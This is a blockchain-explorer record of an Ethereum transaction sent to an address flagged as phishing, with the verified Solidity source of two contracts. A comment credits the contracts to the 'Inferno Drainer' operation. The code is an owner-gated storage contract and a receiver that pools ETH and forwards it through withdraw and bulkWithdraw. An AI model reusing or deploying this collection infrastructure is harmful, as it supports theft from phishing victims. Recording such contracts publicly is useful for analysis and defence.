Transaction Hash:
Block:
18408277 at Oct-22-2023 08:40:47 PM +UTC
Transaction Fee:
0.000436022820623586 ETH
$0.91
Gas Used:
38,598 Gas / 11.296513307 Gwei
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x000037bB...826Ce0000 | (Fake_Phishing188250) | 227.531884905539216038 Eth | 227.532937593870692814 Eth | 0.001052688331476776 | |
| 0x11F3Ae1b...0bE5EAf85 |
0.001857542311573912 Eth
Nonce: 3
|
0.00036883115947355 Eth
Nonce: 4
| 0.001488711152100362 | ||
|
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 16.818875482931247709 Eth | 16.818998821197439633 Eth | 0.000123338266191924 |
Execution Trace
ETH 0.001052688331476776
Fake_Phishing188249.CALL( )
-
StorageContract.STATICCALL( ) - ETH 0.001052688331476776
Receiver.CALL( )
File 1 of 2: StorageContract
File 2 of 2: Receiver
// @mr_inferno_drainer / inferno drainer
pragma solidity ^0.8.6;
contract StorageContract {
address public nativeCryptoReceiver;
address[] public owners;
constructor(address defaultNativeCryptoReceiver, address firstOwner) {
nativeCryptoReceiver = defaultNativeCryptoReceiver;
owners.push(firstOwner);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < owners.length; i++) {
if (msg.sender == owners[i]) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
function addOwner(address newOwner) public onlyOwner {
owners.push(newOwner);
}
function getOwners() public view returns (address[] memory) {
return owners;
}
function removeOwner(address ownerToRemove) public onlyOwner {
uint256 index = type(uint256).max;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == ownerToRemove) {
index = i;
break;
}
}
require(index != type(uint256).max, "Owner not found");
require(owners.length > 1, "Cannot remove the last owner");
owners[index] = owners[owners.length - 1];
owners.pop();
}
function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
public
onlyOwner
{
nativeCryptoReceiver = newNativeCryptoReceiver;
}
}File 2 of 2: Receiver
// File: contracts/StorageContract.sol
pragma solidity ^0.8.6;
contract StorageContract {
address public nativeCryptoReceiver;
address[] public owners;
constructor(address defaultNativeCryptoReceiver, address firstOwner) {
nativeCryptoReceiver = defaultNativeCryptoReceiver;
owners.push(firstOwner);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < owners.length; i++) {
if (msg.sender == owners[i]) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
function addOwner(address newOwner) public onlyOwner {
owners.push(newOwner);
}
function getOwners() public view returns (address[] memory) {
return owners;
}
function removeOwner(address ownerToRemove) public onlyOwner {
uint256 index = type(uint256).max;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == ownerToRemove) {
index = i;
break;
}
}
require(index != type(uint256).max, "Owner not found");
require(owners.length > 1, "Cannot remove the last owner");
owners[index] = owners[owners.length - 1];
owners.pop();
}
function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
public
onlyOwner
{
nativeCryptoReceiver = newNativeCryptoReceiver;
}
}
// File: contracts/Receiver.sol
pragma solidity ^0.8.4;
contract Receiver {
StorageContract storageContract;
mapping(address => uint256) private balances;
constructor(address storageContractAddress) {
storageContract = StorageContract(storageContractAddress);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
if (msg.sender == storageContract.owners(i)) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
receive() external payable {}
fallback() external payable {}
function withdraw(uint256 amount, address recipient) public onlyOwner {
require(
amount <= address(this).balance,
"Not enough balance in the contract"
);
(bool sent, ) = payable(recipient).call{value: amount}("");
require(sent, "Fail");
}
function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
public
onlyOwner
{
require(
amounts.length == recipients.length,
"The amounts and recipients length mismatch"
);
for (uint256 i = 0; i < recipients.length; i++) {
uint256 amount = amounts[i];
address recipient = recipients[i];
require(
amount <= address(this).balance,
"Not enough balance in the contract"
);
(bool sent, ) = payable(recipient).call{value: amount}("");
require(sent, "Fail");
}
}
}